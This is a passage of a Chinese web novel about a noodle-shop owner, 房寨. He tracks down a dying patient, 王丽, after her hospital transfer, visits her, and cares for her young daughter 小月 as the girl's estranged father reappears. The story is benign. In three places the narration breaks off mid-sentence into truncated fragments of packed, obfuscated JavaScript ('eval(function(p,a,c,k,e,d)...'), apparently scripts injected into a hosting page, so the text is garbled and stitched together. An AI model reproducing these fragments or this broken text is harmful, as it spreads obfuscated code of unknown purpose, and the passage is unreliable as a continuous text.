雨是从凌晨开始下的,房寨早上起来的时候,窗外还在哗哗地下。城中村的巷子变成了小河,水漫过了脚踝,他穿着拖鞋趟水出去,水冰凉冰凉的,凉意从脚底板一直蹿到头顶。巷子里的垃圾被水冲得到处都是,塑料袋、废纸、空瓶子,漂浮在浑浊的水面上,看着就让人心烦。 到了店里,发现屋顶在漏水。 水滴从天花板上渗下来,一滴一滴地落在餐桌上,蓝色的格子桌布湿了一大片,水渍洇开来,像一朵灰色的花。房寨把桌布揭下来拧干,找了个脸盆放在漏水的地方接水,水滴打在脸盆底部,叮叮当当的,声音在空荡荡的店里响了一整天。他又找了两个桶,放在另外两个漏水的位置,一个是墙角,一个是厨房门口。 他爬上梯子看了看屋顶,天花板有一道裂缝,大概手指那么宽,水就是从那里渗进来的。裂缝周围的墙皮已经泡得起泡了,用手一碰就掉下来,露出里面灰色的水泥。他不懂修屋顶,打电话给房东,房东说知道了,但一直没来。 房寨没办法,只能先这么撑着。 雨下了一整天,从早下到晚,没停过。街上没什么人,店里的生意冷清得可怕。整个上午只来了三个客人,一个是躲雨的快递员,点了一碗牛肉面,吃了半个小时,雨小了才走。一个是住在附近的阿姨,打着伞来买了两份煲仔饭打包,说家里孙子饿了,哭着要吃饭。还有一个是个年轻男人,浑身湿透了,进来的时候水顺着裤腿往下流,在地上汇成一小滩。房寨给他拿了一条干毛巾,又倒了一杯热水。他喝了热水,暖和过来了,点了一份排骨面,吃完走的时候说了一句“老板你人真好”。 房寨站在门口,看着雨水从屋檐上流下来,像一道水帘,把店里和外面隔成了两个世界。店里面干燥温暖,灯光昏黄,灶台上的汤咕嘟咕嘟地冒着热气。店外面大雨滂沱,天灰蒙蒙的,街上一个人都没有,只有雨声,哗哗的,盖住了一切。 他忽然想起了王丽。 距离上次去医院已经快两周了。他一直没有再去,不是不想去,是不敢去。他不知道去了该说什么,不知道王丽的情况怎么样了,不知道该用什么样的表情面对她。他怕看到她更瘦了,更虚弱了,眼睛里的光更暗了。他怕自己去了也帮不上什么忙,反而添乱。 但他知道小月每天都来,每天都在固定的时间坐在那张椅子上,吃一碗面,写作业,然后回家。她的书包越来越鼓了,里面装满了各种东西。课本、作业本、彩笔、图画书、发卡、布娃娃,还有周阿姨给的零食。她把所有东西都装在书包里,走到哪背到哪,像是怕放在哪里会丢一样。 房寨问她书包重不重,她说不重。但他拎过一次,至少有十斤。一个七八岁的小姑娘,每天背着十斤的书包走那么远的路,怎么能不重?但她说出口的是“不重”,不知道是不想让房寨担心,还是真的觉得不重。 他想再去看一次王丽。 下午雨小了一些,从暴雨变成了小雨,淅淅沥沥的,打在屋顶上沙沙响。店里依然没什么客人,房寨让小赵和周阿姨先回去了,他一个人守着店。他炖了一锅新的排骨汤,加了山药和红枣,想着病人喝这个好,补气养胃,比光喝排骨汤有营养。山药削皮的时候滑溜溜的,差点切到手。红枣去核,切成小块,这样煮的时候味道更容易出来。 汤炖好的时候,他把保温桶装满,又用保鲜袋装了几块小周阿姨给的点心,放在保温桶旁边。然后他在门口挂了个“临时外出”的牌子,骑上三轮车去了医院。 路上雨又大了,雨点打在脸上,凉飕飕的,眼睛都睁不开。路上的积水很深,三轮车的轮子在水里滚过,溅起一片水花,裤腿湿了大半,贴在腿上又湿又冷。但他没停下来,蹬着车继续往前骑。 到了医院,他把车停在楼下,抱着保温桶跑进住院部。 王丽的病房门关着。 房寨站在门口,犹豫了一下,敲了敲门。没有回应。他又敲了一下,还是没有回应。他轻轻推开门,往里看了一眼。 三张床,两张空的,中间那张也是空的。被子叠得整整齐齐,枕头摆在被子上面,床头柜上什么都没有,干干净净的,像是从来没有人住过。 房寨愣住了。 他抱着保温桶站在门口,不知道站了多久。走廊里有护士推着车经过,看到他就问了一句:“你找谁?” “王丽。” 护士看了他一眼,表情变了一下,和上次一样。那个表情房寨看懂了,他见过太多次了。 “她前天转院了。”护士说。 “转去哪了?” 护士摇了摇头,表示不知道。她低下头继续写东西,笔尖在纸上发出沙沙的声音,和窗外的雨声混在一起。 房寨站在原地,保温桶抱在怀里,越来越沉。汤还是热的,隔着桶壁能感觉到温度,暖着手心。但王丽已经不在了。转院了。去了哪里,没人知道。小月知道吗?她妈妈转院了,她知不知道?她一个人住,谁来照顾她? 他想起了那封信。 “我现在在医院,可能出不来了。” 可能出不来了。 房寨站在走廊里,头顶的灯白晃晃的,照得他眼睛疼。走廊很长,尽头是黑的,和上次一样。灯很亮,但照不到尽头。他抱着保温桶站了很久,久到怀里汤的热度慢慢退了,桶壁变得温温的,不再烫手了。 他转身走了。 回到店里的时候,雨还在下。门口挂着的“临时外出”牌子被风吹歪了,“临时”两个字朝下,“外出”两个字朝上,看着有点滑稽。 他把保温桶放在桌上,没有打开。汤还是温的,但他没有胃口喝。他坐在靠窗的位置上,看着窗外的雨发呆。 雨打在玻璃上,一条一条地往下流,像眼泪。街上偶尔有车开过,车灯在水洼里反射出一片光,然后很快又暗了。 他想了很多事情。想王丽,想小月,想那封信。想王丽写那封信的时候是什么心情,一笔一笔地写下那些字,知道自己可能看不到了。想小月一个人走那么远的路来店里,书包里装着给妈妈看的东西,但妈妈已经转院了,不知道去哪了。想小月今天晚上吃什么,明天早上吃什么,有没有人给她做饭,有没有人送她上学。 他又想起自己小时候。奶奶住院的时候,他一个人在家,自己做饭,自己洗衣服,自己上学。他会做蛋炒饭,就是把米饭和鸡蛋混在一起炒熟,放点盐,有时候放多了咸得要命,但还是要吃完,因为不吃就饿。那时候他想,要是有人能给他做一顿饭就好了,不用好吃,热的就行。 现在他是那个做饭的人了。 但小月不需要他做饭,小月需要的是别的。是需要一个人告诉她晚上住哪,是需要一个人告诉她明天怎么办,是需要一个人告诉她——你不是一个人。 房寨给阿坤打了个电话。 “坤哥,你知道怎么找一个人吗?” “什么人?” “一个病人,从医院转院了,我不知道转哪去了。” 电话那头沉默了一会儿。阿坤说:“你给我所有信息,我来想办法。” 房寨把王丽的名字、年龄、大概的病情、之前住的医院,全都告诉了阿坤。阿坤说行,他去打听。 挂了电话之后,房寨坐在店里,等。 雨还在下,没有要停的意思。天色越来越暗,才下午四点,已经像傍晚了。店里的灯开着,橘黄色的光照在蓝色的格子桌布上,把整个屋子照得暖暖的。灶台上的汤还在咕嘟咕嘟地响,但没有人来喝了。 傍晚的时候,小月来了。 她打着伞,但雨太大了,她的校服湿了一大片,裤腿全湿了,鞋子也进了水,走起路来嘎吱嘎吱响。但她还是来了,和每天一样,没有因为下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那天下了一整天的雨,到晚上九点多才停。雨停之后,空气变得很清新,有一股泥土和树叶的味道。房寨把店里的东西收拾好,关了灯,锁了门。三轮车的座垫湿透了,他找了一个塑料袋垫在上面才坐上去。骑回去的路上,路面上全是积水,车轮碾过去,水花四溅。路灯倒映在水洼里,一晃一晃的,像是水里有另一个世界。 回到城中村,巷子里积水还没退,他趟水走过去,水凉得刺骨。小橘猫蹲在楼道口,浑身湿透了,毛贴在身上,瘦得像一只老鼠。看到房寨来了,它站起来抖了抖身上的水,冲他叫了一声,声音很小,有气无力的。 房寨蹲下来摸了摸它的头,猫的脑袋冰凉冰凉的,耳朵往后贴着头皮。他上楼拿了一条干毛巾下来,把猫裹住擦了擦。猫没躲,老老实实地让他擦。擦完之后他把猫抱上了楼,放在屋里。猫在屋里转了一圈,闻了闻每个角落,然后跳上椅子,蜷成一团,闭上眼睛。 房寨洗了个澡,躺在床上,翻开手机。阿坤发来一条消息:“打听到了,她转去了市肿瘤医院,在城北。我明天陪你去。” 房寨看着这条消息,心里一块石头落了地。 至少找到了。 至少小月还能去看妈妈。 至少,事情还没到最坏的地步。 他回复了一个字:“好。” 然后关了灯。屋里很安静,只有猫在椅子上打呼噜的声音,咕噜咕噜的,很轻很轻。窗外的雨虽然停了,但屋檐上还在滴水,滴答滴答的,像是某种古老的计时器。 房寨闭上眼睛,脑子里还是王丽的病房。 空荡荡的床,叠得整整齐齐的被子。 他想起那封信里最后那句话。 “她叫小月。谢谢。” 两个“谢”字,一个在前面,一个在后面。前面那个“谢”是因为那碗面,后面那个“谢”是因为什么呢?是因为以后可能还要麻烦他,是因为知道自己照顾不了小月了,是因为把最放心不下的人托付给了一个陌生人。 房寨翻了个身,把被子拉到肩膀。 被子很暖,猫的呼噜声很安稳。 他想,明天去医院,一定要找到王丽。告诉她小月很好,每天都来店里吃面,每天都吃得很干净,每天都有很多人给她带礼物。告诉她小月的书包里装满了要给妈妈看的东西,一幅画、一个发卡、一本图画书、一个蓝眼睛的布娃娃。告诉她小月很乖,很懂事,从来不闹,从来不哭,每天吃完饭会说谢谢,每天走的时候会说叔叔再见。 告诉她,放心。 24.第 24 章 阿坤第二天一早就来了。 他骑着他的小电驴,穿着一件深蓝色的冲锋衣,头发被风吹得竖起来,像一只刺猬。房寨刚把店门打开,正在搬桌椅,阿坤就风风火火地冲进来了,手里拎着一袋包子和两杯豆浆。 “先吃早饭,吃完去。”阿坤把袋子往桌上一放,包子还是热的,冒着白气。 房寨没客气,拿了一个包子咬了一口。猪肉大葱馅的,肉很多,汁水足,一咬就流出来了。他吃了两个包子,喝了大半杯豆浆,胃里暖洋洋的。 阿坤吃得快,三两口一个包子,一杯豆浆几口就没了。吃完抹了抹嘴,从口袋里掏出一张纸条,上面写着一个地址。 “市肿瘤医院,住院部三楼,血液科。”阿坤说,“我托医院的熟人查的,她转过去之后住在那边。” 房寨看着那张纸条,心里踏实了一些。昨天下午那种悬在半空的感觉终于落了地。至少知道她在哪了,至少不用再猜了,至少今天去了能看到她。 他把店里的东西简单收拾了一下。汤炖上了,让周阿姨来了之后帮忙看着火。小赵中午来上班,菜单上的东西他都会做,煲仔饭可能火候掌握不太好,但炒河粉和面没问题。房寨把需要做的事情写在一张纸上,贴在厨房的墙上,怕他们忘了。 “中午可能人多,你们忙不过来就先别接煲仔饭的订单,就说老板不在,今天不卖煲仔饭。”房寨跟小赵交代了一句。 小赵说知道了,让他放心去。 九点多,房寨和阿坤骑着车出发了。阿坤的小电驴带不了两个人,房寨骑着自己的三轮车,阿坤骑电驴跟在旁边。两辆车一前一后,穿过城南的大街小巷,往城北的方向去。 天阴着,但没有下雨。云层很低,灰蒙蒙的,压在高楼顶上,像是随时会掉下来。风很大,吹得路边的树哗哗响,黄叶被风卷起来,在空中打着旋,又落回地面。 城北和城南不一样。城南是老城区,房子矮,街道窄,人多车多,到处都是烟火气。城北是新城区,马路宽,楼高,人少,冷冷清清的,连风都更大一些。路上的车开得很快,从他们身边呼啸而过,带起一阵风。 骑了四十多分钟,到了医院。 市肿瘤医院比之前那家大很多,有好几栋楼,最高的那栋有十几层。楼外面是灰白色的瓷砖,看起来很新,但大门口的花坛里种的花已经谢了,剩下干枯的枝干,在风里摇来摇去。院子里停满了车,车位全满,有人在停车场绕了好几圈都找不到位置。 房寨把三轮车停在医院外面的路边,用锁锁好。阿坤的电驴停在旁边,两辆车挨在一起,像两个相依为命的人。 住院部在三号楼,要穿过一个长长的走廊才能到。走廊是露天的,风从两头灌进来,吹得人浑身发冷。走廊两边的墙上贴着各种健康宣传画,有教人怎么预防感冒的,有教人怎么控制血压的,有教人怎么戒烟戒酒的。画已经旧了,边角翘起来,被风吹得啪啪响。 进了住院部大楼,里面暖和多了。暖气开得很足,热烘烘的,让人想脱外套。大厅里有不少人,有的坐在椅子上等,有的在窗口办手续,有的推着轮椅走来走去。空气中弥漫着消毒水的味道,刺鼻又熟悉,和之前那家医院一样,哪家医院都是这个味道。 电梯很慢,等了好一会儿才下来。里面已经有几个人了,一个坐着轮椅的老太太,一个抱着孩子的年轻爸爸,还有一个穿着白大褂的医生。三个人挤在电梯里,房寨和阿坤进去之后就更挤了,阿坤的胳膊肘都快顶到医生的后背了。 三楼。电梯门开了,走廊很安静,和之前那家医院差不多。地板是浅灰色的,擦得很亮,能照出人影来。墙上挂着一些画,不是什么名画,就是一些风景照,山啊水啊花啊草啊的,大概是用来让病人心情好一些的。 护士站的小护士抬起头看了他们一眼,问找谁。阿坤说了王丽的名字,小护士查了一下,指了方向:“往前走,走到头右转,倒数第二间。” 房寨顺着她指的方向走。走廊很长,两边都是病房,门关着,只能听到里面隐隐约约的说话声。有的房间里有人在笑,笑声不大,但在安静的走廊里听得很清楚。有的房间很安静,什么声音都没有。有的房间门开着一条缝,能看到病床的一角和吊在床头的输液瓶。 倒数第二间。门关着。 房寨站在门口,深吸了一口气。阿坤站在他身后,没说话,只是拍了拍他的肩膀。那一下拍得很轻,但房寨觉得很有力量,像是有人在告诉他——不管里面什么样,你都不是一个人。 他敲了敲门。 “进来。”是个女人的声音,不是王丽的,是另一个人的。 房寨推开门。 房间不大,两张床。靠窗的那张床上躺着一个老太太,头发全白了,脸上全是皱纹,正在看手机,手机声音开得很大,放的是短视频,一个男人在讲笑话,老太太看得很开心,时不时笑一下。靠门的那张床上,躺着王丽。 她比上次更瘦了。 房寨几乎认不出她来。上次见的时候她还能睁开眼睛,还能说话,还能笑。这次她闭着眼睛,脸色灰白,嘴唇干裂起皮,头发全没了,头上包着的那块花布巾也换成了医院的白帽子。被子盖到胸口,露出来的手臂细得像一根树枝,皮肤几乎是透明的,能看到下面的青色血管。 床头柜上放着一个水杯、一包纸巾、一瓶没喝完的矿泉水。水杯是粉色的,上面印着一只小猫,大概是以前用的,旧了,杯口的漆都磨掉了。 房寨站在门口,手里还拎着保温桶。阿坤在后面轻轻推了他一下,他才迈步走进去。 他把保温桶放在床头柜上,动作很轻,怕吵醒她。但王丽还是醒了。她慢慢睁开眼睛,眼神很涣散,和上次一样,像隔着一层雾看人。她看了房寨一眼,又闭上了。过了几秒,又睁开了,这次眼神清明了一些,像是在努力聚焦。 “是我。”房寨说,“做面的。” 王丽的眼睛亮了一下。 那种光很微弱,像是一根火柴在黑暗中划亮了一瞬间,但房寨看到了。那种光他见过一次,上次来的时候也见过。那是王丽听到“女儿”两个字时的光,是他这辈子见过的最亮的光,也是最让人心酸的光。 “小月……”她的声音比上次还轻,轻到几乎是气声,不用力听根本听不清。 “小月很好。”房寨说,“她每天都来店里,每天都吃一碗面。昨天吃了排骨面,吃了一大碗,汤都喝完了。” 王丽的嘴角微微动了一下,不知道是想笑还是想说什么。 “她长胖了一点。”房寨说,“周阿姨每天都给她带零食,她不吃,说要留给妈妈。小赵教她写作业,她的数学进步了,上次小测验考了七十多分。” 王丽的眼睛湿了。没有流下来,就是湿了,眼眶里有一层水光,在灯光下闪了一下。她眨了眨眼,水光就没了。 “她画了一幅画,说要送给妈妈。”房寨从口袋里掏出一张折好的纸,打开,是一幅画。彩笔画,颜色很鲜艳,线条歪歪扭扭的,但能看出来画的是两个人,一大一小,手拉着手。大的那个人穿着裙子,头发很长,笑着。小的那个人扎着两个小辫子,也笑着。画的右下角歪歪扭扭地写着几个字:我和妈妈。 房寨把画举到王丽面前。王丽看着那幅画,看了很久。她的手指动了一下,像是想伸手去摸,但手抬不起来。 “好看吗?”房寨问。 王丽点了点头,动作很轻很轻,不仔细看几乎看不出来。但房寨看到了,他一直在看她的脸,怕错过任何一个表情。 房间里有短暂的沉默。隔壁床的老太太已经把短视频关掉了,大概是不想打扰他们。房间里很安静,只有暖气片里水流的声音,咕噜咕噜的,很轻。 “王丽。”房寨叫了一声她的名字。 王丽看着他。 “小月我会照顾的。”房寨说,“你不用操心。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小月明天还会来店里。”房寨把碗收了,“你好好养着,等她来看你。” 王丽点了点头,这次动作比之前大了一些,点头的幅度能看出来了。 房寨站起来,把保温桶盖上,把那幅画折好,放在王丽的枕头边上,就在她的脸旁边,她一转头就能看到。 “我走了。”房寨说。 王丽看着他的脸,嘴唇动了动。 “你叫什么名字?”她问。 房寨愣了一下。他来了两次,做了面,送了汤,说了那么多话,但一直没有告诉她自己的名字。 “房寨。”他说,“房子的房,寨子的寨。” 王丽轻轻点了点头,像是在嘴里默念了一遍这个名字,把它记住了。 房寨走出病房,关上门。 阿坤在走廊里等着他,看到他出来,问了一句:“怎么样?” “还行。”房寨说,“比上次瘦了,但精神还好。” 阿坤点了点头,没有多问。 两个人顺着走廊往电梯的方向走。走廊很长,和来的时候一样长,但走起来好像短了一些。可能是知道了她在哪,心里有底了,路就不觉得长了。 等电梯的时候,房寨靠在墙上,长长地呼了一口气。 “你刚才说‘小月我会照顾的’。”阿坤说,“你是认真的?” “认真的。” “你知道照顾一个小孩意味着什么吗?” 房寨想了想,说了一个字:“面。” 阿坤愣了一下:“什么?” “就是面。”房寨说,“每天一碗面。” 电梯到了,门开了。两个人走进去,电梯里只有他们俩。门关上的时候,阿坤忽然说了一句:“寨哥,你这个人吧,有时候挺傻的。” 房寨没说话。 “但傻人有傻福。”阿坤补了一句。 电梯到了一楼,门开了。两个人走出住院部大楼,外面的风还是很大,吹得人睁不开眼睛。天还是很阴,云层还是那么低,灰蒙蒙的,压在城市的上空。但房寨觉得,今天的天气好像没那么糟糕。可能是因为他知道王丽在哪了,知道她还在,知道她还能喝汤,还能点头,还能笑。 他骑上三轮车,阿坤骑上电驴,两个人一前一后,往城南的方向去。 风从背后吹过来,推着他们往前走。 25.第 25 章 从医院回来的第二天,房寨的生活又回到了原来的轨道。 早上七点到店,备料,炖汤,煮面。中午忙一波,下午准备晚上的料,晚上再忙一波,关门回家。日子一天一天地过,和之前没什么两样。但仔细想想,好像又不太一样了。以前他每天想的都是店里的生意、菜单上的菜、食材的价格、月底的房贷。现在他脑子里多了一个人——小月。 小月还是每天来,中午来一次,下午放学再来一次。她坐在那张靠墙的椅子上,吃一碗面,写作业,等房寨忙完了跟他说几句话,然后背着那个越来越鼓的书包走了。她不知道妈妈转院了,也不知道房寨去医院看过妈妈。房寨没告诉她,不是想瞒她,是不知道怎么开口。他怕她知道了会哭,怕她一个人跑去城北那么远的地方找不到路,怕她知道了之后连每天这两碗面都吃不安稳了。 他决定先不说。 阿坤说他这样不对,小月有权知道自己妈妈在哪。房寨说他知道,但他需要找一个合适的时间、合适的方式,不是现在,不是在她还在吃面喝汤的时候。阿坤没再说什么,拍了拍他的肩膀就走了。 店里的生意进入了一个平稳期。 夏天的酸梅汤和绿豆汤彻底不卖了,凉面也从菜单上撤了下来。现在卖得最好的是煲仔饭和红烧牛肉面。煲仔饭一天能卖四五十份,三个口味,腊味最多,香菇滑鸡第二,排骨第三。红烧牛肉面一天也能卖三四十碗,汤头浓郁,牛肉软烂,很多客人专门冲着这个来的。 萝卜炖牛腩卖得也不错,但不像煲仔饭和牛肉面那么火爆。点这个的大多是老人和肠胃不好的人,觉得炖品清淡好消化,不像煲仔饭那么油腻。房寨把萝卜炖牛腩的价格从二十二降到了二十,降了两块钱,想着便宜点能多卖几份。结果也没多卖多少,但他没再涨回去,觉得老人吃的东西,便宜点就便宜点吧。 姜撞奶他试了几次,一直没做好。第一次姜汁放多了,辣得人嗓子疼。第二次姜汁放少了,奶不凝固,稀得像水。第三次比例对了,但温度没控制好,奶倒进去的时候太烫了,姜撞奶变成了姜花奶,上面飘着一层奶皮,下面是稀的。他试了七八次才做成一次,但那次也不是很满意,凝固得不够好,口感偏软,没有那种颤巍巍的弹性。他暂时放弃了姜撞奶,等以后有时间再慢慢研究。 红枣桂圆茶倒是很简单。红枣去核,桂圆干,枸杞,加水煮二十分钟,加点冰糖就好了。成本很低,一杯卖五块钱,利润不错。天冷了之后很多人点这个,尤其是女客人,说是暖宫。房寨不懂这些,但客人说好他就卖。 周阿姨现在每天中午来,干三个小时,洗洗碗擦擦桌子扫扫地。她干活很麻利,以前在工厂食堂练出来的本事,一个人能干两个人的活。她洗的碗特别干净,房寨检查过几次,碗底没有油渍,碗边没有食物残渣,连碗背都洗得锃亮。她还把厨房里的调料瓶按大小个排好,酱油醋料酒蚝油,整整齐齐的,看着就舒服。房寨有时候想帮忙,她说不用,你去做菜,这些活我来。 小赵现在基本能独当一面了。他学会了做炒河粉和凉面,虽然味道不如房寨做的,但也能吃,客人没什么意见。煲仔饭他还不太行,火候掌握不好,锅巴不是糊了就是太软。房寨教了他好几次,每次都是手把手地教,告诉他什么时候听声音,什么时候淋油,什么时候关火。小赵学得很认真,拿个小本子把房寨说的每句话都记下来,但一上手就不行了。房寨说没关系,慢慢来,他学了那么久才学会的,别人不可能几天就上手。小赵说好,但他每次做煲仔饭的时候还是很紧张,额头上全是汗。 房寨有时候下午会出去一会儿,去菜市场买菜,或者去医院看王丽。小赵一个人看店,有人点煲仔饭他就说“老板不在今天不卖煲仔饭”,客人也没说什么,改点面或者炒河粉。房寨觉得这样下去不是办法,他需要小赵尽快学会煲仔饭,或者再找一个会做煲仔饭的人。但找人不急,现在的生意他一个人还能应付。 王丽的情况不太好。 房寨每周去两次,周三和周六,都是下午人少的时候去。每次去他都带一保温桶汤,排骨汤、鸡汤、鱼汤,换着花样做。王丽喝得越来越少,上次去只喝了三四口就说喝不下了。她的声音也越来越轻,轻到房寨要把耳朵凑到她嘴边才能听清她说的话。 但她每次看到房寨来,眼睛还是会亮。那种光很微弱,像一盏快没电的灯,但确实在亮着。 她问得最多的就是小月。 “小月吃饭了吗?” “小月穿暖了吗?” “小月今天开心吗?” 房寨每次都回答得很详细。小月今天吃了什么面,吃了多少,有没有剩饭。小月今天穿了什么颜色的衣服,有没有戴帽子,有没有围围巾。小月今天写作业的时候有没有笑,有没有跟小赵说笑话,有没有收到新的小礼物。 他说得很慢,很仔细,怕漏掉什么。王丽听得很认真,听到小月长胖了会说“好”,听到小月考了七十多分会说“好”,听到小月画了新画会说“好”。她说的“好”字很轻,但很真,房寨能听出来那不是敷衍,是真的觉得好。 王丽隔壁床的老太太出院了,换了一个新病人。是个五十多岁的大叔,肺癌,刚做完手术,恢复得还行,能下地走路,能自己吃饭,嗓门还挺大,跟来探病的亲戚说笑,声音整个楼层都能听到。他老婆每天来送饭,保温桶里的饭菜比房寨带的还丰盛,四菜一汤,有鱼有肉,每次打开盖子香味就飘满整个病房。大叔看到房寨来了,会跟他打招呼,问他是不是王丽的亲戚。房寨说不是,是朋友。大叔哦了一声,没再问了。 小月还是不知道妈妈转院了。 房寨每次看到她,都想告诉她。但每次话到嘴边又咽回去了。他想,再等等吧,等王丽好一点,等他能说出“你妈妈会好起来的”这句话的时候,再告诉小月。但他不知道王丽会不会好起来。他每次去医院,看到王丽一次比一次瘦,一次比一次没精神,他心里那个念头就越来越弱。 他不愿意想那个最坏的结果。 十月下旬的时候,店里发生了一件小事。 有个客人吃完煲仔饭,把砂锅打碎了。不是故意的,是不小心碰掉的,砂锅掉在地上,啪的一声,碎成了好几瓣。那个客人很不好意思,说要赔钱。房寨说不用赔,一个砂锅没多少钱。客人坚持要赔,从钱包里掏出五十块钱放在桌上就走了,走得飞快,像是怕房寨追上来还给他。 房寨看着那五十块钱和地上碎成几瓣的砂锅,不知道该说什么。砂锅确实不贵,一个新的也就十几块钱。五十块钱够买三个了。他把钱收起来,去买了三个新砂锅回来,用淘米水煮了处理过,放在灶台边上备用。 新砂锅比旧的好,厚实一些,保温效果更好。房寨用新砂锅做了第一份煲仔饭,出来的锅巴比以前还脆。他把这份煲仔饭端给了一个老客人,老客人吃了一口就说了句“今天的锅巴不一样,比以前好”。房寨听了很高兴,决定把所有的旧砂锅都换了,一次性换了十几个,花了将近两百块钱。 晚上阿坤来店里吃饭,看到那一排新砂锅,说了一句:“寨哥,你现在舍得花钱了啊。” 房寨想了想,好像是这么回事。以前他舍不得换新砂锅,旧的那个内胆涂层掉了还在用。舍不得买新电饭煲,有人送了一个才用上。舍不得买新桌子,现在的桌子还是二手的,桌面上有好几道划痕。但现在他换新砂锅的时候没怎么犹豫,觉得该换就换。 可能是因为手头没那么紧了。开店几个月,虽然没赚大钱,但每个月的收入都在涨。上个月净赚一万二,这个月应该能到一万五。加上系统奖励的房贷减免,他已经还了快十五万的房贷了。手头也攒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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张建国走的时候,把信封留在了桌上。房寨拿起信封,里面装着一千块钱。他把钱收进了抽屉里,没有动。他想,这钱不是给他的,是给小月的。等小月需要的时候,他会拿出来。 那天晚上小月来店里的时候,房寨犹豫了一下,还是告诉她了。 “小月,你爸爸回来了。” 小月正在吃面,筷子顿了一下。她没有抬头,继续吃面,吃了好几口才停下来。 “哦。”她说。 就一个字。 房寨不知道她心里在想什么。是不在意,还是太在意了所以不敢表现出来?他分不清。一个七八岁的小孩,心思可以很简单,也可以很复杂。 “他来看你了没有?”房寨问。 小月摇了摇头。 “他要是来了,你愿意见他吗?” 小月低着头,用筷子在碗里搅了搅,面已经吃完了,只剩一点汤。她把汤也喝了,放下碗,用手背擦了擦嘴。 “我不知道。”她说。 房寨没再问了。 他想,有些事情急不得。就像煲仔饭的火候,火太大了会糊,火太小了不熟。得等,等那个最合适的时机。 小月走的时候,书包还是那么鼓。她背起来的时候身子微微往前倾了一下,书包太重了,她小小的身体被压得有点弯。但她没有喊重,也没有让房寨帮她拿,就那么背着书包走了。 房寨站在门口看着她的背影。路灯把她的影子拉得很长很长,细细的一条,像一根随时会被风吹断的线。但她走得很稳,一步一步的,不快不慢。 他忽然想起王丽说过的一句话。 “她叫小月。谢谢。” 不是“我的女儿叫小月”,是“她叫小月”。好像小月不是她一个人的,好像是托付给他的一样。 房寨转身回到店里,把碗收了,把桌子擦了,把厨房收拾干净。 明天还要早起。 26.第 26 章 张建国第二天就来了店里。 不是来看房寨的,是来看小月的。他来得太早了,下午三点多就到了,小月还没放学。他坐在店里靠窗的位置上,点了一碗红烧牛肉面,慢慢地吃,吃完了也没走,又要了一杯红枣桂圆茶,一小口一小口地喝。 房寨在厨房里备料,透过窗口看了他几眼。张建国坐在那里,眼睛一直盯着门口,每进来一个人他都要抬头看一下,发现不是小月,又低下头继续喝茶。他喝茶的样子很小心,端着杯子,嘴唇抿着杯沿,吸一小口,然后放下,像是在等什么很重要的事情。 等了快两个小时,快五点了,小月还没来。 张建国有点坐不住了。他站起来在店里走了两步,又坐下了。从口袋里掏出手机看了一眼,又揣回去了。把杯子里的茶喝完了,又要了一杯。周阿姨给他端过去的时候问他是不是在等女儿,他点了点头,说了一句“嗯”,声音很小。 五点多,小月来了。 她背着那个鼓鼓囊囊的书包,推门进来的时候,先看到了房寨,喊了一声“叔叔”。然后她看到了张建国。 她站在门口,不动了。 张建国站起来,看着她。他的手不知道往哪放,先是垂在身体两侧,又插进裤兜里,又拿出来,最后握在一起放在身前,像一个做错了事的小学生。 “小月。”他叫了一声。 小月没说话,就站在门口,两只手攥着书包带子,攥得紧紧的。她的表情很平静,不是那种刻意装出来的平静,是真的平静。一个七八岁的小孩,看到好几年没见的爸爸,脸上没有惊喜,没有愤怒,没有害怕,什么都没有,就是一张空白的脸。 房寨从厨房里出来,看了看小月,又看了看张建国。 “小月,你爸爸等了你一下午了。” 小月还是没说话。她走到自己的椅子上坐下来,把书包放在旁边,动作和每天一样,很自然的,好像张建国不存在一样。 张建国站在那里,脸上有点挂不住。他走到小月对面坐下来,想说什么,张了张嘴,又闭上了。 沉默。 店里没有别的客人,只有他们三个人,加上厨房里的周阿姨在洗碗,水声哗哗的。窗外的天已经开始暗了,路灯亮了,橘黄色的光照进来,落在蓝色的格子桌布上,暖洋洋的。 房寨站在厨房门口,不知道该不该走开。他想给他们父女一点空间,但又怕小月有什么事。他犹豫了一下,还是回了厨房,但没关门,耳朵竖着听外面的动静。 小赵来了,看到店里的气氛不对,问房寨怎么了。房寨小声说了一句“小月她爸来了”,小赵哦了一声,没再问了,默默地开始收拾桌子,动作很轻,怕发出声音。 过了大概五分钟,小月先开口了。 “你来看妈妈的?”她问张建国。 张建国点了点头。 “妈妈病了。”小月说。 “我知道。” “你以前为什么不来看我们?” 这句话问得很直接,直接到张建国不知道怎么回答。他沉默了好一会儿,嘴唇动了几次,但每次都没发出声音。最后他说了一句:“爸爸以前做错了。” 小月看着他,看了好几秒。 “你做错了什么?”她问。 张建国又沉默了。他的眼眶红了,但没有哭,喉咙动了一下,像是在咽什么东西。 “很多。”他说。 小月没再问了。她从书包里掏出作业本,开始写作业。和平常一样,先写数学,再写语文。她写作业的样子很认真,头低着,笔握得很紧,一页一页地写,翻页的时候声音很轻。 张建国就坐在对面看着她。他不说话了,就那么看着,像看一件很珍贵的、丢了很久终于找回来的东西。他的眼神很复杂,有愧疚,有心痛,有一种说不清的东西在里面。他看着小月写字的样子,看她的手握着笔,看她的小拇指上还沾着圆珠笔的蓝墨水。 房寨在厨房里煮了一碗阳春面,端出来放在小月面前。不是她平时吃的那个时间,但她没说什么,放下笔开始吃面。 张建国看着那碗面,抬起头看了房寨一眼。房寨冲他微微点了点头,意思是“你放心吧”。 小月吃面的速度比平时慢,不知道是不是因为张建国在旁边。她一口一口地吃,每一口都嚼很久,像是在想什么事情。吃到一半的时候,她忽然停下来,抬起头看着张建国。 “你吃饭了吗?”她问。 张建国愣了一下。 “吃了。”他说,“吃了牛肉面。” 小月点了点头,又低下头继续吃面。她把面吃完了,汤也喝了,和每天一样。然后她把碗推到一边,继续写作业。 张建国看着那个空碗,眼眶又红了。这次没忍住,眼泪掉了一滴,砸在桌布上,洇开一个小圆点。他赶紧用手背擦了一下,假装什么都没发生。 小月没看到,她低着头写作业。 那天张建国在店里待了很久,一直待到小月写完作业,收拾好书包,准备走。他站起来,看着小月。 “我送你回家。”他说。 